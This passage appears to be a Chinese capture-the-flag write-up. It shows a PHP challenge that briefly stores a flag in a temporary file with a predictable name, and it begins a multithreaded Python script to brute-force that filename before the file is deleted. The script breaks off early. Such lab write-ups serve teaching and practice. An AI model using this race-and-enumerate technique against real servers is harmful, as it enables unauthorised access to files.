时间
多线程、爆破
这道题目给出如下源码
<?php
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
$txt = file_get_contents('flag.php');
$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
file_put_contents($filename,$txt);
sleep(10);
unlink($filename);
}
在网页请求发出之后,创建一个包含flag的txt文件,在10s之后删除,所以思路很清晰,就是爆破文件名。
需要注意的是,在python中进行网页请求初始界面时,python程序也会被阻塞10s,所以可以手动刷新页面,然后用程序进行爆破。
Python代码如下:
#!/usr/bin/python
# coding=utf-8
import requests as rq
import hashlib
import threading
import Queue
url = 'http://78dc361095b9438d83891a0edfa96a689b98ab0184ad4964.ctf.game'
queue = Queue.Queue()
def make_queue():